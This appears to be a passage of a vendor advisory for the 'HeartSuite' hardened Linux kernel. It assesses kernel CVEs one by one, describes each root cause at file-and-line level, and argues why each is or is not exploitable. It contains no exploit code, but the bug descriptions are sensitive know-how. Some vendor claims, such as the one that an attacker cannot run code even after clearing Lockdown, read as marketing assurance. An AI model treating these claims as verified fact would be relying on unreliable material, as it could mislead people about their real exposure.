In drivers/vfio/pci/vfio_pci_config.c, the VFIO PCI extended-capability enumeration loop at line 1638 hides capabilities with unknown length by rewriting the next pointer in the previous entry’s header. When a capability should be hidden but occupies the first position in the extended-capability chain, the pointer fixup path has incorrect behaviour, allowing a misconfigured or malicious guest to reach memory it should not. CONFIG_VFIO is not set in the HS 5.19.6 kernel configuration; the VFIO subsystem and this PCI config-space virtualisation path are absent from the compiled kernel image.

CVE-2024-53227

Status: Not Affected Component: Brocade bfa FC driver (CONFIG_SCSI_BFA_FC) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SCSI_BFA_FC not compiled

In the Brocade bfa Fibre Channel adapter driver (drivers/scsi/bfa/), a use-after-free occurs during driver load: an internal object containing an embedded spinlock is freed while lockdep still holds a reference to that lock, producing a KASAN slab-use-after-free splat inside __lock_acquire. CONFIG_SCSI_BFA_FC is not set in the HS 5.19.6 kernel configuration; the Brocade bfa driver is absent from the compiled kernel image.

CVE-2024-53239

Status: Not Affected Component: 6fire USB audio driver (CONFIG_SND_USB_6FIRE) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SND_USB_6FIRE not compiled

In the TerraTec AUREON 6fire USB audio driver (sound/usb/6fire/chip.c), usb6fire_chip_disconnect() calls usb6fire_chip_abort() at line 183 — which schedules a deferred snd_card_free_when_closed() and nulls chip->card — immediately followed by usb6fire_chip_destroy() at line 184, which frees the underlying sub-resources. When userspace still holds the card open, the deferred free races against the destroy path, producing a use-after-free. CONFIG_SND_USB_6FIRE is not set in the HS 5.19.6 kernel configuration; the driver is absent from the compiled kernel image.

CVE-2024-56609

Status: Not Affected Component: Realtek rtw88 WiFi driver (CONFIG_RTW88) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_RTW88 not compiled

In the Realtek rtw88 802.11ac/ax wireless driver (drivers/net/wireless/realtek/rtw88/tx.c), rtw_tx_report_purge_timer() at line 160 calls skb_queue_purge() at line 172 to discard queued TX-report SKBs when the firmware fails to acknowledge them. Because ieee80211_tx_status() is never called for the discarded SKBs, mac80211 retains a reference to the associated station structure after it has been freed, producing a use-after-free during driver teardown. CONFIG_RTW88 is not set in the HS 5.19.6 kernel configuration; the rtw88 driver family is absent from the compiled kernel image.

CVE-2024-56631

Status: Not exploitable Component: SCSI generic driver (CONFIG_CHR_DEV_SG) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — /dev/sg* access not in HS allowlist; Lockdown blocks the exploitation trigger Affected range: Linux ≤ 6.12-rc7 Upstream fix: commit 4a9804207b58 (“scsi: sg: Fix UAF in sg_release()”)

In the SCSI generic device driver (drivers/scsi/sg.c), sg_release() at line 382 acquires sdp->open_rel_lock at line 391, then calls kref_put(&sfp->f_ref, sg_remove_sfp) at line 393. If that kref_put drops the last reference, sg_remove_sfp is invoked, which can free the Sg_device structure that sdp points to — including its embedded mutex. The subsequent mutex_unlock(&sdp->open_rel_lock) at line 404 then operates on freed memory, producing a KASAN slab-use-after-free in lock_release.

CONFIG_CHR_DEV_SG=y is compiled in. Reaching sg_release() in the race window requires an active open of a /dev/sg* device node — SCSI generic pass-through that requires CAP_SYS_RAWIO. No Root Lock by HeartSuite deployment includes raw SCSI access in the Lockdown allowlist. Without an allowlist entry, the kernel refuses any process attempting to open /dev/sg*. An attacker who has already gained root cannot add one: Lockdown prevents allowlist modification, backdoor installation, and persistence across reboot.

CVE-2024-56663

Status: Not exploitable Component: cfg80211 wireless stack (CONFIG_CFG80211) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — no WiFi NIC present

In net/wireless/nl80211.c, the netlink policy for NL80211_ATTR_MLO_LINK_ID at line 797 uses NLA_POLICY_RANGE(NLA_U8, 0, IEEE80211_MLD_MAX_NUM_LINKS) — where IEEE80211_MLD_MAX_NUM_LINKS = 15 (include/linux/ieee80211.h:4349). Since the range check is inclusive, link ID 15 passes validation. Structures such as cfg80211_bss size their links[] array with 15 entries (valid indices 0–14); an attacker-supplied link ID of 15 indexes one element past the end of the array, producing an out-of-bounds access. CONFIG_CFG80211=y is compiled in. No WiFi network interface card is present on a server deployment; without WiFi hardware, no wireless interfaces are created and the MLO link ID path is never reachable.

CVE-2024-57899

Status: Not Affected Component: mac80211 wireless stack (CONFIG_MAC80211) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — 32-bit-specific vulnerability; HS kernel is x86_64

In the mac80211 wireless stack, a type-size mismatch between unsigned long (4 bytes on 32-bit) and u64 (8 bytes) causes incorrect arithmetic or storage on 32-bit architectures. On x86_64, sizeof(unsigned long) == sizeof(u64) == 8; the size mismatch condition cannot arise. CONFIG_X86_64=y in the HS 5.19.6 configuration; additionally, no WiFi hardware is present on a server deployment.

CVE-2025-21863

Status: Affected Component: io_uring (CONFIG_IO_URING) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: Linux ≤ 6.13-rc6 Upstream fix: commit 838154be1ea7 (“io_uring: sanitise sqe->opcode against speculations”)

What this means for an attacker:

In io_uring/io_uring.c, io_init_req() reads sqe->opcode from userspace and checks it against IORING_OP_LAST at line 8385. Without a Spectre v1 barrier, the CPU’s speculative execution engine can index into io_op_defs[] at line 8389 before the bounds-check branch resolves, enabling a microarchitectural side-channel read of kernel memory at speculative offsets. The upstream fix inserts array_index_nospec(opcode, IORING_OP_LAST) before the array access.

Why HeartSuite does not reduce this to 0.0:

CONFIG_IO_URING=y is compiled in and 5.19.6 falls within the affected range. Reaching the vulnerable io_uring path requires a process to submit crafted SQEs via io_uring_enter(); this is a normal operation for any application using io_uring. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2023-52930

Status: Not exploitable Component: Intel i915 DRM driver (CONFIG_DRM_I915) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no Intel display GPU present

In drivers/gpu/drm/i915/gem/i915_gem_tiling.c, i915_gem_object_set_tiling() releases the gem object lock at line 308, then performs an unguarded check-and-free of obj->bit_17 at lines 314–322. Two threads concurrently calling I915_GEM_SET_TILING to set tiling to I915_TILING_NONE can both enter the else branch at line 319 and both call bitmap_free(obj->bit_17) at line 320, producing a double-free. Conversely, two threads setting a swizzled tiling mode can both pass the !obj->bit_17 check at line 315 and both call bitmap_zalloc, leaking the first allocation. CONFIG_DRM_I915=y is compiled in. No Intel integrated or discrete display GPU is present on this server deployment; DRM device nodes are not created and the GEM ioctl path is unreachable.

CVE-2023-52988

Status: Not exploitable Component: Intel HDA audio driver (CONFIG_SND_HDA_INTEL) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no audio hardware present

In sound/pci/hda/patch_via.c, via_auto_init_analog_input() calls snd_hda_get_connections() at line 820 and stores the return value in nums. The function can return a negative error code. The subsequent loop at line 822 (for (i = 0; i < nums; i++)) is a no-op for negative nums, but the conn[nums++] write at line 832 then indexes the conn[] array at a negative offset, producing an out-of-bounds write. CONFIG_SND_HDA_INTEL=y is compiled in. No audio hardware is present on a headless server deployment; HDA codec probing never runs and the vulnerable path is never reached.

CVE-2025-21993

Status: Not Affected — CONFIG_ISCSI_IBFT not set Component: iSCSI iBFT driver (CONFIG_ISCSI_IBFT) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — CONFIG_ISCSI_IBFT not compiled in HS kernel

In the iSCSI Boot Firmware Table (iBFT) kernel driver, the subnet-mask field read from /sys/firmware/ibft/ethernetX/subnet-mask during an IPv6 iSCSI boot contains a memory safety issue. CONFIG_ISCSI_IBFT is not set in the HS 5.19.6 kernel configuration; the iBFT sysfs interface is absent from the compiled kernel image.

CVE-2025-22083

Status: Not Affected Component: vhost-SCSI driver (CONFIG_VHOST_SCSI) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_VHOST_SCSI not compiled

In drivers/vhost/scsi.c, vhost_scsi_set_endpoint() at line 1531 does not guard against being called multiple times without an intervening vhost_scsi_clear_endpoint(). Duplicate invocations corrupt the vs_tpg pointer array and reference counts, triggering use-after-free and null-pointer conditions. CONFIG_VHOST_SCSI is not set in the HS 5.19.6 kernel configuration; the vhost-SCSI virtualisation driver is absent from the compiled kernel image.

CVE-2025-22121

Status: Affected Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 7.1 HIGH — base I:N; Lockdown limits post-exploitation persistence Affected range: Linux ≤ 6.13-rc3 Upstream fix: commit 34f96e89f84c (“ext4: fix UAF in ext4_xattr_inode_dec_ref_all()”)

What this means for an attacker:

In fs/ext4/xattr.c, ext4_xattr_inode_dec_ref_all() at line 1127 iterates over xattr entries, calling ext4_xattr_inode_iget() at line 1148 to obtain each ea_inode. If ext4_expand_inode_array() at line 1154 fails, iput(ea_inode) at line 1158 frees the inode. When the journal restart function (ext4_xattr_restart_fn) subsequently runs, it can re-encounter the same entry and dereference the freed inode at line 1182 (ext4_xattr_inode_dec_ref), producing a use-after-free. The published vector is C:H/I:N/A:H — disclosure and crash, not direct privilege escalation.

Why HeartSuite does not reduce this to 0.0:

CONFIG_EXT4_FS=y is compiled in and 5.19.6 falls within the affected range. Reaching the xattr teardown path requires a process to manipulate extended attributes on an ext4 filesystem — a standard operation available to any user with file access. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

The attacker cannot turn this UAF into anything that runs new code. Even if a follow-on memory-corruption bug is chained in to escalate to root, Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2025-37785

Status: Not exploitable Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — mount() blocked by Lockdown; crafted ext4 image cannot be mounted Affected range: Linux ≤ 6.14-rc4 Upstream fix: commit 4f45d4452e6b (“ext4: fix OOB read when mounting corrupted fs”)

In fs/ext4/dir.c, when a corrupted ext4 directory block contains a '.' entry whose rec_len equals the filesystem block size, the iteration offset at line 246 jumps to exactly block_size after the first entry. During directory removal, a subsequent traversal computes a de pointer one block past the buffer boundary, producing an out-of-bounds read.

CONFIG_EXT4_FS=y is compiled in and 5.19.6 falls within the affected range. Triggering the out-of-bounds read requires mounting an ext4 filesystem image containing a corrupted directory block. sys_hs_lockdown_hs() sets HS_lockdown_state = 7, blocking all mount paths at kernel/namespace.c:4218, 4300, 4453 with EPERM; do_mount() returns EPERM before any ext4 directory parsing code is reached. In Lockdown, no approved program in the HS allowlist carries a mount entry — the kernel SPF gate enforces this independently of Lockdown. The trigger cannot be reached on any Root Lock by HeartSuite deployment.

CVE-2025-40364

Status: Affected Component: io_uring (CONFIG_IO_URING) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low Affected range: Linux ≤ 6.14-rc5 Upstream fix: commit 0f2122045b94 (“io_uring: don’t import buffers for async preparation”)

What this means for an attacker:

In io_uring/io_uring.c, io_req_prep_async() at line 7829 prepares an asynchronous copy of a request’s state. For requests using provided buffers (IOSQE_BUFFER_SELECT), the function can select and consume a buffer slot during the async preparation phase. If the ring state is then discarded before the I/O completes — for example, when the async path is abandoned and the request is retried — the buffer slot is consumed but the reference is lost, allowing the slot to be selected again by a subsequent request and producing a use-after-free of the shared buffer metadata.

Why HeartSuite does not reduce this to 0.0:

CONFIG_IO_URING=y is compiled in and 5.19.6 falls within the affected range. Reaching the provided-buffer UAF path requires a process to submit io_uring SQEs with IOSQE_BUFFER_SELECT in a pattern where the async preparation phase selects a buffer slot before the request is discarded. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2025-37738

Status: Not exploitable Component: ext4 filesystem (CONFIG_EXT4_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — mount() blocked by Lockdown; crafted xattr image cannot be mounted Affected range: Linux ≤ 6.13-rc3 Upstream fix: commit b631e432b12d (“ext4: fix xattr inode dec ref boundary”)

In fs/ext4/xattr.c, ext4_xattr_inode_dec_ref_all() at line 1143 iterates xattr entries with for (entry = first; !IS_LAST_ENTRY(entry); entry = EXT4_XATTR_NEXT(entry)). The loop has no upper-boundary parameter: it relies solely on the IS_LAST_ENTRY() zero-terminator sentinel. A corrupted xattr block without a valid terminating entry causes the loop to walk past the end of the allocated buffer, reading and dereferencing arbitrary memory.

CONFIG_EXT4_FS=y is compiled in and 5.19.6 falls within the affected range. Triggering the unbounded xattr loop requires mounting a filesystem with a corrupted xattr block that lacks the valid zero-terminator sentinel. sys_hs_lockdown_hs() sets HS_lockdown_state = 7, blocking all mount paths at kernel/namespace.c:4218, 4300, 4453 with EPERM; do_mount() returns EPERM before any ext4 xattr parsing code is reached. In Lockdown, no approved program in the HS allowlist carries a mount entry — the kernel SPF gate enforces this independently of Lockdown. The trigger cannot be reached on any Root Lock by HeartSuite deployment.

CVE-2022-49789

Status: Not Affected Component: IBM Z Fibre Channel driver (CONFIG_ZFCP) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_ZFCP not compiled

In drivers/s390/scsi/zfcp_fsf.c, zfcp_fsf_req_send() stores the FSF request ID in a variable of the wrong integer type, causing the ID to be truncated on architectures where the required width exceeds that type. CONFIG_ZFCP is not present in the HS 5.19.6 kernel configuration; the IBM Z Fibre Channel driver is s390-architecture-specific and is absent from the x86_64 compiled kernel image.

CVE-2022-49842

Status: Not exploitable Component: ALSA sound subsystem (CONFIG_SND) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no audio hardware present

In the ALSA sound subsystem, a use-after-free occurs in device_del() during driver module removal. When an ALSA driver is unloaded, a device object is freed while still referenced by a concurrent access path, producing a KASAN use-after-free report at device_del+0xb5b by the rmmod task.

CONFIG_SND=y is compiled in. No audio hardware is present on a headless Debian 11 server. The ALSA subsystem does not create /dev/snd device nodes without an audio card. The ioctl path that exposes this bug is never instantiated.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2022-49865

Status: Affected Component: IPv6 networking stack (CONFIG_IPV6) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 7.1 HIGH — base I:N; Lockdown limits post-exploitation persistence Affected range: Linux 5.4–5.19.6 Upstream fix: kernel.org stable queue (net/ipv6/addrlabel.c)

What this means for an attacker:

In net/ipv6/addrlabel.c, ip6addrlbl_putmsg() (line 438) constructs a struct ifaddrlblmsg for a netlink reply. The function writes ifal_family, ifal_prefixlen, ifal_flags, and ifal_seq but never zeroes the __ifal_reserved padding byte. That uninitialised byte is subsequently copied to userspace via nlmsg_unicast(), leaking one byte of kernel stack memory per IPv6 address-label query.

Why HeartSuite does not reduce this to 0.0:

CONFIG_IPV6=y is compiled in and 5.19.6 falls within the affected range. Any process with access to a NETLINK_ROUTE socket can trigger the infoleak — no elevated privilege is required. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root; an attacker cannot execute a non-allowlisted program without an allowlist entry.

What this means for you as an HS user:

The attacker cannot turn this leak into anything that runs new code. Even if a follow-on memory-corruption bug is chained in to escalate to root, Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2023-53037

Status: Not Affected — CONFIG_SCSI_MPI3MR not set Component: Broadcom mpi3mr SAS driver (CONFIG_SCSI_MPI3MR) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SCSI_MPI3MR not compiled in HS kernel

When the SAS Transport Layer support is enabled and a device exposed to the OS by the driver fails INQUIRY commands, the mpi3mr driver frees the memory allocated for an internal device handle but continues to reference that handle in subsequent SCSI transport operations, causing a use-after-free.

CONFIG_SCSI_MPI3MR is not set in the HS 5.19.6 configuration. The Broadcom mpi3mr SAS 3.0 HBA driver is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2023-53039

Status: Not Affected Component: Intel ISH HID driver (CONFIG_INTEL_ISH_HID) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_INTEL_ISH_HID not compiled

When a reset notify IPC message is received by the Intel Integrated Sensor Hub Transfer Protocol (ISHTP) subsystem, the ISR schedules a work item and passes the device struct via the global ishtp_dev pointer. A race between the reset notify path and device teardown can leave ishtp_dev pointing to a freed object, triggering a use-after-free.

CONFIG_INTEL_ISH_HID is not set in the HS 5.19.6 configuration. The Intel ISH HID driver (drivers/hid/intel-ish-hid/) is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2023-53065

Status: Not exploitable Component: perf events subsystem (CONFIG_PERF_EVENTS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — perf_event_paranoid=3 restricts perf_event_open(); no profiling tool in HS allowlist

In kernel/events/core.c, a stack-out-of-bounds issue discovered by syzkaller occurs in the perf events sample output path. A crafted perf_event_open() call with specific sample type flags causes the kernel to write beyond the bounds of a stack-allocated buffer during event sampling, overwriting adjacent stack memory.

CONFIG_PERF_EVENTS=y is compiled in. The HS kernel sets /proc/sys/kernel/perf_event_paranoid=3, which restricts perf_event_open() to processes with CAP_PERFMON. No profiling tool (perf, sysdig, or equivalent) is included in the HS Lockdown allowlist — the kernel refuses to execute it. The crafted perf_event_open() call required to trigger the stack overflow is unreachable in a standard HS deployment.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2025-37861

Status: Not Affected — CONFIG_SCSI_MPI3MR not set Component: Broadcom mpi3mr SAS driver (CONFIG_SCSI_MPI3MR) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SCSI_MPI3MR not compiled in HS kernel

When the task management thread processes reply queues while the reset thread simultaneously resets them, the task management thread accesses an invalid queue ID (0xFFFF) — a sentinel value indicating a torn-down queue — resulting in an out-of-bounds access during the concurrent reset operation.

CONFIG_SCSI_MPI3MR is not set in the HS 5.19.6 configuration. The Broadcom mpi3mr SAS 3.0 HBA driver is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2025-37979

Status: Not Affected — CONFIG_SND_SOC_SC7280 not compiled Component: Qualcomm sc7280 ASoC driver (CONFIG_SND_SOC_SC7280) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_SND_SOC_SC7280 not compiled in HS kernel

Commit 5f78e1fb7a3e (“ASoC: qcom: Add driver support for audioreach solution”) introduced switch-case values in the Qualcomm sc7280 machine driver that index into fixed-size arrays without bounds checking, causing out-of-bounds access when unexpected codec or CPU DAI link types are encountered during probe.

CONFIG_SND_SOC_SC7280 is not set in the HS 5.19.6 configuration. This driver targets the Qualcomm sc7280 SoC, an ARM-based mobile/embedded platform. It is not selected on x86_64 server builds. The vulnerable code path does not exist on this system.

CVE-2022-49934

Status: Not exploitable Component: mac80211 wireless stack (CONFIG_MAC80211) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no WiFi NIC present

In net/mac80211/scan.c, ieee80211_scan_rx() accesses scan_req->flags after a null check. A use-after-free occurs when scan completion triggers __ieee80211_scan_completed(), which frees the scan request while a concurrent ieee80211_scan_rx() call still dereferences it.

CONFIG_MAC80211=y is compiled in. No WiFi network interface card is present on a server deployment. Without WiFi hardware, mac80211 creates no wireless interfaces and the relevant code paths are never reached.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2025-38103

Status: Not exploitable Component: HID subsystem (CONFIG_HID) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — no USB HID input devices on headless server

Update struct hid_descriptor to better reflect the mandatory and optional parts of the HID Descriptor as per USB HID 1.11 specification.

CONFIG_HID=y is compiled in. No USB human interface devices (keyboard, mouse, or other HID peripherals) are connected to a headless production server. HID device paths are never instantiated, making this code path unreachable.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2025-38206

Status: Not Affected — CONFIG_EXFAT_FS not compiled Component: exFAT filesystem (CONFIG_EXFAT_FS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_EXFAT_FS not compiled in HS kernel

In fs/exfat/nls.c, exfat_load_upcase_table() frees sbi->vol_utbl via exfat_free_upcase_table() on a checksum-mismatch error (line 706) without NULLing the pointer. If the subsequent exfat_load_default_upcase_table() call fails to allocate a replacement buffer, sbi->vol_utbl retains the stale freed pointer. A later cleanup path calling exfat_free_upcase_table() again frees the same allocation, causing a double free. The trigger is mounting a specially crafted exFAT volume.

CONFIG_EXFAT_FS is not set in the HS 5.19.6 configuration. The exFAT filesystem driver — including fs/exfat/nls.c — is not compiled into the kernel image. Note that CONFIG_FAT_FS=y (VFAT/FAT32) is compiled for EFI system partition support, but that is a separate driver with no shared code. The vulnerable code path does not exist on this system.

CVE-2025-38239

Status: Not Affected — CONFIG_MEGARAID_SAS not set Component: LSI MegaRAID SAS driver (CONFIG_MEGARAID_SAS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — CONFIG_MEGARAID_SAS not compiled in HS kernel

On systems with DRAM interleave enabled, the MegaRAID SAS driver miscalculates the MSI-X poll queue allocation, requesting poll queues beyond the number of available vectors. This results in an out-of-bounds access during driver initialization when the hardware exposes a specific MSI-X configuration.

CONFIG_MEGARAID_SAS is not set in the HS 5.19.6 configuration. The LSI/Broadcom MegaRAID SAS controller driver is not compiled into the kernel image. The vulnerable code path does not exist on this system.

CVE-2025-38249

Status: Not exploitable Component: ALSA sound subsystem (CONFIG_SND) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — no audio hardware present

In snd_usb_get_audioformat_uac3(), the length value returned from snd_usb_ctl_msg() is used directly for memory allocation without validation.

CONFIG_SND=y is compiled in. No audio hardware is present on a headless Debian 11 server. The ALSA subsystem does not create /dev/snd device nodes without an audio card. The ioctl path that exposes this bug is never instantiated.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2025-38389

Status: Not exploitable Component: Intel i915 DRM driver (CONFIG_DRM_I915) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no Intel display GPU present

On ring submission GPU platforms, unbinding the i915 driver during testing sporadically triggers a kernel warning. A GPU context or ring buffer entry is accessed after being freed during the driver teardown path, detected by the kernel’s warning infrastructure during CI unbind tests.

CONFIG_DRM_I915=y is compiled in. No Intel integrated or discrete display GPU is present on this server deployment. Without display hardware, DRM device nodes may not be created and the GPU context entry points are unreachable. This follows the established pattern for i915 CVEs — see CVE-2022-4139.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2025-38494

Status: Not exploitable Component: HID subsystem (CONFIG_HID) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — no USB HID input devices on headless server

hid_hw_raw_request() is actually useful to ensure the provided buffer and length are valid.

CONFIG_HID=y is compiled in. No USB human interface devices (keyboard, mouse, or other HID peripherals) are connected to a headless production server. HID device paths are never instantiated, making this code path unreachable.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2025-38550

Status: Affected Component: IPv6 networking stack (CONFIG_IPV6) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 7.3 HIGH — Lockdown reduces MI: High→Low

Affected range: Linux 5.x–6.x; 5.19.6 falls within range
Upstream fix: net/ipv6/mcast.c

What this means for an attacker:

In net/ipv6/mcast.c, mld_clear_delrec() releases the pmc->idev reference before calling ip6_mc_clear_src(), but ip6_mc_clear_src() accesses pmc->idev internally. The reference drop must be deferred until after ip6_mc_clear_src() returns; releasing it early causes a use-after-free when ip6_mc_clear_src() subsequently dereferences the freed pointer.

Why HeartSuite does not reduce this to 0.0:

CONFIG_IPV6=y is compiled in and the IPv6 stack is active on configured interfaces. IPv6 multicast listener discovery (MLD) is reachable via network interfaces that join multicast groups — a common configuration on servers. In Lockdown, hs_sandbox_caching.c enforces the SPF allowlist against all processes including root. An attacker cannot execute a new exploit program — it has no allowlist entry and the kernel refuses to run it.

What this means for you as an HS user:

Even with this CVE exploited to root, the attacker cannot run new code on this system. Lockdown’s allowlist refuses every non-allowlisted program at execve, including in the worst case where the attacker has cleared Lockdown. No persistence, no backdoors, no cross-reboot survival. (How.)

A reboot is a clean slate. The attack does not survive it.

CVE-2025-38556

Status: Not exploitable Component: HID subsystem (CONFIG_HID) Base Score: 7.1 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H) Score on HeartSuite: 0.0 — no USB HID input devices on headless server

Testing by the syzbot fuzzer showed that the HID core gets a shift-out-of-bounds exception when it tries to convert a 32-bit quantity to a 0-bit quantity.

CONFIG_HID=y is compiled in. No USB human interface devices (keyboard, mouse, or other HID peripherals) are connected to a headless production server. HID device paths are never instantiated, making this code path unreachable.

The attack vector has no path to execution on a standard Debian 11 server deployment. Lockdown provides a backstop regardless: root cannot modify the allowlist, install persistent backdoors, or survive a reboot.

CVE-2025-38563

Status: Not exploitable Component: perf events subsystem (CONFIG_PERF_EVENTS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — perf_event_paranoid=3 restricts perf_event_open(); no profiling tool in HS allowlist

The perf mmap code is careful about mmap()‘ing the user page with the ringbuffer and additionally the auxiliary buffer, when the event supports it.

CONFIG_PERF_EVENTS=y is compiled in and 5.19.6 falls within the affected range. On a Root Lock by HeartSuite system, perf_event_paranoid=3 restricts perf_event_open() to processes with CAP_SYS_ADMIN; no profiling or performance analysis tool appears in the HS allowlist. The exploitation path — loading and executing a non-allowlisted program — is blocked at the kernel execution gate before any perf subsystem interaction is possible. After gaining root through any avenue, Lockdown’s allowlist refuses new code and blocks allowlist modification — no persistence, no backdoors, no cross-reboot survival.

CVE-2025-38565

Status: Not exploitable Component: perf events subsystem (CONFIG_PERF_EVENTS) Base Score: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) Score on HeartSuite: 0.0 — perf_event_paranoid=3 restricts perf_event_open(); no profiling tool in HS allowlist

When perf_mmap() fails to allocate a buffer, it still invokes the event_mapped() callback of the related event.

